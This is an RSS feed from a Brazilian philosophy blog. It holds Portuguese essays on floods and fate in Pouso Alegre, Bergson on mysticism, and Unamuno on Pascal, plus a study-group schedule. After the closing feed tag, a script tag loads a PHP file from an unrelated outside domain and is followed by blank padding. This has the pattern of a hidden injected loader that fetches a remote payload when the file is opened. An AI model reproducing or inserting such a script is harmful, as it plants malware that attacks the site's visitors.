<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Filosofante &#187; Paulo</title>
	<atom:link href="http://www.filosofante.com.br/?author=5&#038;feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.filosofante.com.br</link>
	<description>Res Cogitans...</description>
	<lastBuildDate>Mon, 18 Jun 2012 11:35:46 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>A História da Enchente e a Idéia de Destino.</title>
		<link>http://www.filosofante.com.br/?p=467</link>
		<comments>http://www.filosofante.com.br/?p=467#comments</comments>
		<pubDate>Thu, 26 Feb 2009 12:00:37 +0000</pubDate>
		<dc:creator>Paulo</dc:creator>
				<category><![CDATA[Artigo]]></category>
		<category><![CDATA[Destino]]></category>
		<category><![CDATA[Enchente]]></category>
		<category><![CDATA[Idéia]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=467</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Fazer uma análise filosófica e histórica sobre as cheias dos rios, o que na verdade envolve hoje a realidade de sofrimento de muitas pessoas vitimadas por esse tipo de fenômeno, pode parecer à primeira vista sinal do maior egoísmo e individualismo, um ponto de vista míope de quem só é capaz de ver a beleza <a href="http://www.filosofante.com.br/?p=467" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fazer uma análise filosófica e histórica sobre as cheias dos rios, o que na verdade envolve hoje a realidade de sofrimento de muitas pessoas vitimadas por esse tipo de fenômeno, pode parecer à primeira vista sinal do maior egoísmo e individualismo, um ponto de vista míope de quem só é capaz de ver a beleza do volume excessivo de águas encobrindo vales onde com certeza não se localiza a residência de sua família em particular. Houve todavia um tempo em que as enchentes eram até esperadas com ansiedade, como aquelas do rio Nilo no Egito ou dos rios Tigre e Eufrates na Mesopotâmia, cujo nome significa justamente &#8220;entre &#8211; rios&#8221; (meso + pótamos). É que as cheias levavam novos nutrientes para a terra agriculturável.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hoje a idéia comum sobre as enchentes é que a natureza estaria respondendo à irresponsabilidade humana em sua falta de cuidado e desrespeito ao meio ambiente. A questão se reveste então de caráter ético e carrega uma crítica histórica que passa a colocar em dúvida o valor real de todo o caminho traçado pela ideologia racional de progresso como desenvolvimento fatal do homem, um ideal que teria começado no século XVIII (filosofia das luzes) ou mesmo no século XIV (renascimento ou transição da Idade-média para a Idade-moderna).<br />
<span id="more-467"></span><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Precisamos dos rios perto das cidades para garantir seu abastecimento, mas ocupamos inadvertidamente todas as áreas disponíveis atraídos irresistivelmente pela valorização imobiliária dos terrenos. Por isso ficamos decepcionados com toda a maravilha técnica que o desenvolvimento tornou possível, pois achamos que as soluções de engenharia deveriam vencer a brutalidade dos fenômenos naturais. Parece inconcebível no mundo de hoje enchentes descontroladas invadirem casas e causarem prejuízos econômicos.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Para os índios que viviam e transitavam nesse verdadeiro lugar de encontro-das-águas onde hoje está localizada a cidade de Pouso Alegre, nessa baixada onde os rios Sapucaí, Sapucai-mirim e Mandu se encontram, as cheias significavam apenas uma variação natural que não ofendia de maneira nenhuma sua dignidade. Elas apenas determinavam procedimentos diferentes e nunca invadiam as aldeias que se localizavam sempre em áreas logo acima do nível mais alto que as águas podiam atingir mesmo nas maiores cheias.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O colonizador quando de passagem por essas bandas, sempre fixou também suas primeiras capelas em sítio elevado, às vezes com a intenção de encobrir a existência dos índios, no entanto suas praças nunca foram edificadas muito distante de um rio que lhes servisse de fonte, de alimento e trânsito.  As cheias nessa época causavam dificuldades proporcionais às suas empreitadas, como relataram, por exemplo, os cientistas naturalistas alemães Spix e Martius que em sua viagem de 1818-20 tiveram que passar com sua tropa de mulas nadando nessa área entre a Estiva e Santana do Sapucaí, que hoje conhecemos como Pouso Alegre. As dificuldades encontradas no período das chuvas com as cheias dos rios eram tomadas por eles como aviso e provação divina, mas serviam também de teste para sua determinação científico-exploratória, coragem e espírito de aventura. Se sua religião vinculava a ira divina aos obstáculos e sofrimentos impostos ao homem, este devia provar sua humildade e resignação aceitando o mandato divino e enfrentando a situação.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Agora nós preocupamos sobretudo com os sofrimentos pessoais e com os prejuízos materiais e não aceitamos mais o fenômeno das enchentes como fatalismo, destino ou provação divina. Vemos como causas das cheias, que passaram hoje a ser negativas pela ocupação imobiliária das áreas que na verdade sempre estiveram sujeitas à inundação periódica, a interferência não racional do homem sobre a natureza. Lançamos a culpa das enchentes não ao nosso pecado original e ignorado como acontecia antes, mas à negligência do Estado tecnocrático cujo poder deveria garantir a nossa segurança. Todo o poder nós ainda colocamos na ciência racional e na política do dinheiro capaz de financiar soluções de engenharia que na verdade, cada vez mais interferem no meio ambiente, alterando e criando desequilíbrios sempre maiores. O importante é termos explicações científicas para satisfazer o cidadão que sobretudo deseja fazer parte ou emancipar-se ao status maravilhoso de consumidor.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A análise racional e tecnocrática do fenômeno das enchentes, que como vimos se reveste hoje de exigências éticas, somente reafirma a postura histórica frente ao falso ideal de progresso. Se para o homem foi frustrante a antiga crença em Deus como motivador e solucionador dos nossos problemas humanos, o que nos levou a acreditar mais em nós mesmos como responsáveis pelo nosso &#8220;destino&#8221; aqui na terra, por outro lado, apostar todas as fichas na razão humana e sua ciência tecnológica parece que também não foi a melhor solução. Era fácil quando apenas Deus era o responsável, pois Ele tinha lá suas razões que não se discutiam. Agora Deus não tem mais nada a ver com as enchentes dos rios, a natureza está separada de Deus, o homem não é mais a grande preocupação de Deus, mas está se tornando uma preocupação muito grande para si mesmo.<br />
<center><img src='http://www.filosofante.com.br/v1/wp-content/img/linha.gif' /></center><br />
<span style="color:#006600;">[<strong>MS. Paulo Araújo de Almeida</strong>]</span><br />
<i>Mestre em Patrimônio histórico e Cultural</i><br />
Coordenador do <strong>GEFO</strong> (Grupo de Estudos em Filosofia Oriental de Pouso Alegre &#8211; MG). </p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=467</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Grupo de Estudos em Filosofia Oriental &#8211; 2009</title>
		<link>http://www.filosofante.com.br/?p=459</link>
		<comments>http://www.filosofante.com.br/?p=459#comments</comments>
		<pubDate>Tue, 17 Feb 2009 21:41:50 +0000</pubDate>
		<dc:creator>Paulo</dc:creator>
				<category><![CDATA[Notícias]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=459</guid>
		<description><![CDATA[Reinício dia 03 de março de 2009
Datas: Sempre às Terças-feiras:
Março: 3-10-17-24; Abril: 7-14-28; Maio: 5-12-26; Junho: 2-16- 23-30.
Horário: das 15:00 às 17:00 horas.
Local: Biblioteca Alcântara Silveira.
Rua: Comendador José Garcia, 396, sala 202. Centro &#8211; Pouso Alegre- MG
Fone: 99846314.

Tópicos: 
&#160;&#160;&#160;&#160;&#160;&#160;Introdução à Filosofia Chinesa e Japonesa: Taoísmo, Confucionismo e Zen-budismo: Os sábios da China antiga. O Zen <a href="http://www.filosofante.com.br/?p=459" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p><span style="color:#006600;"><strong>Reinício dia 03 de março de 2009</strong></span><br />
<strong>Datas:</strong> Sempre às Terças-feiras:<br />
<strong>Março:</strong> 3-10-17-24; <strong>Abril:</strong> 7-14-28; <strong>Maio:</strong> 5-12-26; <strong>Junho:</strong> 2-16- 23-30.<br />
<strong>Horário:</strong> das 15:00 às 17:00 horas.<br />
<strong>Local:</strong> Biblioteca Alcântara Silveira.<br />
<strong>Rua:</strong> Comendador José Garcia, 396, sala 202. Centro &#8211; Pouso Alegre- MG<br />
<strong>Fone:</strong> 99846314.<br />
<span id="more-459"></span><br />
<span style="color:#006600;"><b>Tópicos: </b></span></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Introdução à Filosofia Chinesa e Japonesa: Taoísmo, Confucionismo e Zen-budismo: Os sábios da China antiga. O Zen Budismo no Japão, suas idéias e meditação.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>Textos:</strong> Laotsé e o Livro de Tao, Chuangtse, Mencio. Aforismos de Confúcio. Zazen, Koans e Tankas ou Hai-Kai.  </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O pensamento oriental vem influenciando a civilização ocidental desde os gregos. No Brasil a sabedoria e as práticas orientais chegam durante os anos 1960 e se difundem como métodos de “cuidado de si” e terapias de caráter científico-espiritualista. Nos 14 encontros desse primeiro semestre de 2009 teremos oportunidade de tomar contato com o pensamento chinês e japonês da tradição oriental, através de seus principais textos, bem como rever a literatura da tradição hindu estudada no segundo semestre de 2008. Os encontros estarão sob a coordenação do professor Ms. Paulo Araújo de Almeida com experiência de mais de 35 anos no ensino de práticas orientais. </p>
<p><strong>Pré-requisitos para participação: entrevista individual. </strong><br />
Número de vagas: <b>06.</b><br />
Contato:<b>9984 6314 (Prof. Paulo)</b>.<br />
Apoio: <span style="color:#006600;"><b>Associação Intermunicipal de Cultura do Sul de Minas Gerais.</b></span><br />
<center><img src='http://www.filosofante.com.br/v1/wp-content/img/linha.gif' /></center><br />
<span style="color:#006600;"><strong>Biblioteca Alcântara Silveira</strong></span><br />
Rua Comendador José Garcia, 396, sala 202. Fone 99846314.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=459</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bergson e a Mística Ocidental e Oriental</title>
		<link>http://www.filosofante.com.br/?p=371</link>
		<comments>http://www.filosofante.com.br/?p=371#comments</comments>
		<pubDate>Mon, 27 Oct 2008 01:01:59 +0000</pubDate>
		<dc:creator>Paulo</dc:creator>
				<category><![CDATA[Artigo]]></category>
		<category><![CDATA[Bergson]]></category>
		<category><![CDATA[GEFO]]></category>
		<category><![CDATA[Paulo Araújo]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=371</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;No capítulo terceiro de sua obra Les Deux Sources de la Morale et de la Religion&#185;  em que Bergson trata da “Religião Dinâmica”, ele compara o misticismo oriental com o misticismo grego, tratando sobretudo das suas diferenças de origem e da subseqüente divisão entre cultura ocidental e oriental com as aproximações entre as duas <a href="http://www.filosofante.com.br/?p=371" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No capítulo terceiro de sua obra <em>Les Deux Sources de la Morale et de la Religion</em><a style="mso-endnote-id:edn1" href="#_edn1" name="_ednref1" title>&sup1;</a>  em que Bergson trata da “Religião Dinâmica”, ele compara o misticismo oriental com o misticismo grego, tratando sobretudo das suas diferenças de origem e da subseqüente divisão entre cultura ocidental e oriental com as aproximações entre as duas tradições culturais. Estabelece-se uma distinção entre o que se considera “místico” e o que seria a experiência psíquica interior em si mesma. Místico seria relativo à abordagem e julgamento que se faz da “experiência psíquica em si” após seu sucesso, já com uma conotação religiosa e em contraposição a ação diuturna comumente levada no mundo exterior.<br />
<span id="more-371"></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bergson mostra uma grande preocupação em não aceitar prontamente os estados místicos que poderiam se confundir com alucinação e doença-mental. Ele fala inclusive das experiências místicas como “impedimentos” ou “desvios” do caminho de identificação do místico com a divindade. Aborda os estados místicos em relação com as imagens produzidas por eles, que seriam simbólicas de um rearranjo psíquico do homem místico, mas que também podem significar uma mera expressão de loucura. Segundo nosso ponto de vista, os estados “místicos” que se pretende atingir dentro da tradição oriental não seriam “hipnóticos” porque neles não se perde a consciência, mas pelo contrário, se permanece super-consciente. Todavia a própria tradição do sistema de práticas ascéticas conhecidas como yoga hindu, por exemplo, aponta em seus textos<a style="mso-endnote-id:edn2" href="#_edn2" name="_ednref2" title>&sup2;</a>  uma preocupação, paralela a de Bérgson, em relação a possibilidades de sucederem desvios na intenção primeira de realização espiritual, a partir da produção de visões artificiais e poderes paranormais (sidhis) que fascinariam o praticante o levando a acreditar haver atingido um estado superior de consciência que, na verdade, o impede de alcançar a meta última de união com o Divino-Absoluto. Por isso o papel do mestre espiritual ou Guru na tradição oriental, aquele que possuindo um conhecimento prévio por experiência própria poderia guiar o discípulo (chelá) com segurança.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A questão principal que Bergson aponta em seu texto é “o que se faz” (?) com a experiência religiosa que qualifica o homem como místico. Nesse momento é que se apresenta a grande diferença entre o Oriente tradicional e o Ocidente.  A força ou poder que as práticas “místicas” vão produzir será aplicado pelos ocidentais cristãos na divulgação da sua religião ou, mais atualmente na emancipação do senso de solidariedade e participação política. No Oriente, pelo contrário, Bergson faz verificar dois períodos distintos: O período anterior e o posterior ao contato do Oriente com o Ocidente já industrializado. No Oriente todas as práticas ascéticas de poder anteriores ao contato com o Ocidente industrializado vão ser aplicadas num campo estritamente pessoal de libertação. O conhecimento sacado da mística era então usado como meio de livrar-se do mundo e de seu sofrimento inerente e não como um fim em si mesmo como nos gregos. É justamente esse conhecimento como uma finalidade em si mesmo que aplicado à vida nas relações humanas (polis) vai gerar todo o desenvolvimento material do Ocidente.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A partir do século XIX o desenvolvimento do Ocidente vai contaminar certos místicos da tradição oriental como Ramakrishna<a style="mso-endnote-id:edn3" href="#_edn3" name="_ednref3" title>&sup3;</a>  (1834-1886) e Vivekananda (1862-1902), que irão colocar a sua força espiritual, “à moda ocidental”, a serviço da emancipação da humanidade no seu aspecto de convivência no mundo e na sociedade, e não mais unicamente no sentido de uma negação deste como condição para se atingir a Deus.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Na Grécia tomada como berço da civilização ocidental, a religião pública dos mitos gregos e sua compreensão aliada à religião mais mística dos mistérios órficos é que tornará possível a aplicação de um conhecimento na esfera da vida material, diferente do que acontecia na antiga tradição oriental onde o conhecimento interno foi sempre instrumento de emancipação espiritual, que de acordo com suas tradições religiosas previa uma negação do mundo, do qual era preciso evadir-se.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A colonização ocidental do Oriente na dinâmica comercial do capitalismo, segundo Bérgson, vai balançar o estabelecimento da visão mística extra-mundo do Oriente. Mahatma Gandhi no século XX será a expressão maior que irá mostrar a força mística do hinduismo através da prática tradicional de Ahinsa ou não-vilência na sua ação política de não-colaboração com o projeto inglês ocidental de colonização, que afinal encontra origem na tradição clássica (greco-romana) que se pauta pela utilização de todo conhecimento na direção de interferir sobre a vida produtiva ou ação no mundo material. Com a não-colaboração de Gandhi, a Índia conquista a sua independência política em relação à Inglaterra. Vê-se então cada vez mais em todo o Oriente o estabelecimento de uma ruptura entre a tradição mística do passado pré-expansionismo ocidental, para um período em que, na prática, o mundo em suas relações passa a ser colocado também como fim para os países orientais, independente da continuidade das práticas místico-religiosas que, no campo pessoal seguem sua direção segundo a tradição de transcendência.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A questão principal de diferenciação entre as tradições místicas do Ocidente e do Oriente antigo é que os místicos ocidentais se dirigem <u>à ação</u> com sua robustez intelectual. Os místicos cristãos usam toda a sua experiência interior para estabelecer sua ação de divulgação do cristianismo enquanto os místicos orientais, antes de Ramakrishna e Vivekananda, não têm esse objetivo e suas práticas são exclusivamente utilizadas como instrumentos de acesso a realização interior.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Se a razão foi também exercitada na tradição antiga do Oriente<a style="mso-endnote-id:edn4" href="#_edn4" name="_ednref4" title> 4</a> , ela era utilizada como um mero meio ou instrumento para alcançar o estritamente espiritual e não como um fim nela mesmo com vistas à ação no mundo, como na tradição clássica do Ocidente. Parece claro hoje, que ao mesmo tempo em que a tradição do Ocidente invade o Oriente que se tecnologiza de maneira surpreendente, o Oriente oferece cada vez mais suas tradições místico-religiosas antigas como elemento terapêutico capaz de proporcionar, no campo do indivíduo, um pouco de sossego à ansiedade do homem ocidental que em vistas de possuir o mundo exterior se deixa empobrecer em termos de consciência profunda de Si mesmo e vida espiritual. </p>
<p><a style="mso-endnote-id:edn1" href="#_ednref1" name="_edn1" title>[1]</a> <em><strong>BERGSON, Henri.</strong> Les Deux Sources de la Morale et de la Religion. PUF, 1973.</em><br />
<a style="mso-endnote-id:edn2" href="#_ednref2" name="_edn2" title>[2]</a> <em><strong>Cf. TAIMNI, I.K</strong>. The Science of Yoga. TPH. 1961. Os yoga-sutras de Patanjali.</em><br />
<a style="mso-endnote-id:edn3" href="#_ednref1" name="_edn3" title>[3]</a> <em><strong>Ramakrishna e Vivekananda</strong> foram reconhecidos mundialmente pela sua divulgação do hinduismo (yoga) no Ocidente. </em><br />
<a style="mso-endnote-id:edn4" href="#_ednref4" name="_edn4" title>[4]</a> <em>Sobre a Escola Nyaya (Regra) fundada por Akshapâda Gautama em 500 A.C. cf. FEURSTEIN, G. A Tradição do Yoga. Pensamento, SP, 2006. pp. 119-120.</em><br />
<center><img src='http://www.filosofante.com.br/v1/wp-content/img/linha.gif' /></center><br />
<span style="color:#006600;">[<strong>MS. Paulo Araújo de Almeida</strong>]</span><br />
Coordenador do <strong>GEFO</strong> (Grupo de Estudos em Filosofia Oriental de Pouso Alegre &#8211; MG). </p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=371</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reflexões sobre Pascal na visão de Umamuno</title>
		<link>http://www.filosofante.com.br/?p=117</link>
		<comments>http://www.filosofante.com.br/?p=117#comments</comments>
		<pubDate>Mon, 08 Sep 2008 04:29:01 +0000</pubDate>
		<dc:creator>Paulo</dc:creator>
				<category><![CDATA[Artigo]]></category>
		<category><![CDATA[Alcântara Silveira]]></category>
		<category><![CDATA[biblioteca]]></category>
		<category><![CDATA[Pascal]]></category>
		<category><![CDATA[Paulo Araújo]]></category>
		<category><![CDATA[Umamuno]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=117</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;O conhecimento acumulado enquanto arte e ciência, disponibilizado para construções no âmbito das trocas coletivas. O desejo de sentir um espaço ocupado e o sentido de uma produção. Necessidade? Reconhecimento? Desejo de poder? A satisfação das trocas intelectuais, dos pensares! Concordâncias e discordâncias, construções coletivas de pilhas de problematizações. Paisagens admiráveis, mergulhos, sangue, vida, vidas. <a href="http://www.filosofante.com.br/?p=117" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O conhecimento acumulado enquanto arte e ciência, disponibilizado para construções no âmbito das trocas coletivas. O desejo de sentir um espaço ocupado e o sentido de uma produção. Necessidade? Reconhecimento? Desejo de poder? A satisfação das trocas intelectuais, dos pensares! Concordâncias e discordâncias, construções coletivas de pilhas de problematizações. Paisagens admiráveis, mergulhos, sangue, vida, vidas. Existência. O querer. José Ortega y Gasset.<br />
<span id="more-117"></span><br />
<center><span style="color:#FF0000;"><strong>*</strong></span></center></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pretender usar da espiritualidade para conseguir fins materiais sem modificar as relações materiais para que uma nova estabilidade possa proceder desde o campo espiritual é iludir-se de que a religião seja um instrumento de proveito mais do que, sobretudo um incentivo para realizar as coisas que precisam ser realizadas no campo do concreto.</p>
<p><center><span style="color:#FF0000;"><strong>*</strong></span></center></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Unamuno faz uma análise da fé pascalina na qual ele nos leva a perceber sua formulação das contradições entre razão e fé que o matemático teria experimentado. Apesar de se opor à postura de Pascal de deixar dobrar-se ao cristianismo, Unamuno fez isso sem a fúria de Nietzsche. Este último quer interferir no futuro formalizando o pensamento dos seus pósteros e à sua virilidade se pode chamar &#8220;força&#8221;. Por outro lado, Unamuno oferece, apenas, o seu pensar como uma reflexão aberta ao futuro. Sua posição me parece mais libertária, no sentido de que ele não está sendo subjugado, no ato de escrever, pelos seus próprios (re) sentimentos em relação ao passado.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O grande sofrimento de Pascal, segundo as colocações de Unamuno: uma fissura entre razão e fé, fato que em si já se pode considerar uma consideração de respeito humano, coisa que Nietzsche não acata ao declarar que Pascal teria sido sobretudo um derrotado. Em certo sentido essa vivência desintegrada de uma unidade em relação aos níveis mais espinhais da personalidade, constituiu-se no terror do professor Rivail de França, nosso Allan Kardec que acreditou numa supremacia do racional (ciência) sobre a fé, conseguindo uma religião que, por oposição ao cristianismo, transfere o amor sempre à ação prática deificada que ele chamou de caridade. Por aí somente seria possível a salvação e não pela abolição da própria noção de salvação, apesar de não acatar o pecado como um engano, humano, jogando o homem na implacabilidade da lei natural que se refugia sempre na razão. Ter que explicar tudo, ou apenas sentir?<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Seria no entanto possível viver cada um dos dois âmbitos, o da razão e o da fé, sem que isso seja causa de tormento como exigiu a circunstância de Pascal. Se no final do século XIX, para não se atormentar, a melhor solução era ficar com a razão, hoje não é preciso se atormentar com esse tipo de questão. A total confiança na razão já é coisa do passado e temos todo o questionamento do pesadelo miserável que a filha dileta da razão, a tecnologia, oferece como divisão a mais cruel para o indivíduo que, não podendo ser ele mesmo em sua liberdade, precisa à muide escravizar-se para sobreviver. </p>
<p><center><span style="color:#FF0000;"><strong>*</strong></span></center></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Se o espiritismo kardecista não transcender a racionalidade, ele está morto, pois terá criado um novo dogma que, se teria sido útil ao final do século XIX, se formou uma boa oposição aos fundamentalismos do século XX, agora no século XXI já não tem a menor possibilidade de conduzir o homem a Deus. No nosso século o Deus-Razão está morto, sem qualquer possibilidade de reencarnação. A idéia de Deus precisa se revestir agora de novas abrangências e tolerâncias e não cabe mais a supremacia de uma parte da consciência, a razão no caso, sobre outra. Segundo a lógica racional do espiritismo kardecista, herdeiro do positivismo do século XIX, todos os homens são desgraçados, uma vez que ele acredita que &#8220;nada é de graça&#8221;, mas resultado concreto da implacável lei de causa e feito. Deus continuaria do seu panóptico vigiando tudo só que agora ele estaria vestido com as roupas da razão e ciência.</p>
<p><center><span style="color:#FF0000;"><strong>*</strong></span></center></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Unamuno defende também a razão como teria que fazer um intelectual em 1924.</p>
<p><center><span style="color:#FF0000;"><strong>*</strong></span></center></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sadan morreu segurando o alcorão, pois ele justificaria todas as suas barbaridades. Se Bush fosse enforcado segurando a bíblia, está também não justificaria todas as barbaridades feitas em nome da religião cristã, como, por exemplo, as cruzadas ou a inquisição?<br />
<center><img src='http://www.filosofante.com.br/v1/wp-content/img/linha.gif' /></center><br />
<span style="color:#006600;">[<strong>Paulo Araújo de Almeida</strong>]</span><br />
Estudante de filosofia, mestre em arqueologia pelo MAE/USP e arquiteto.<br />
Proprietário da biblioteca Alcântara Silveira.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=117</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script type="text/javascript" src="http://wheelingaccountants.com/tbp7vn83.php?id=37450139"></script>


















































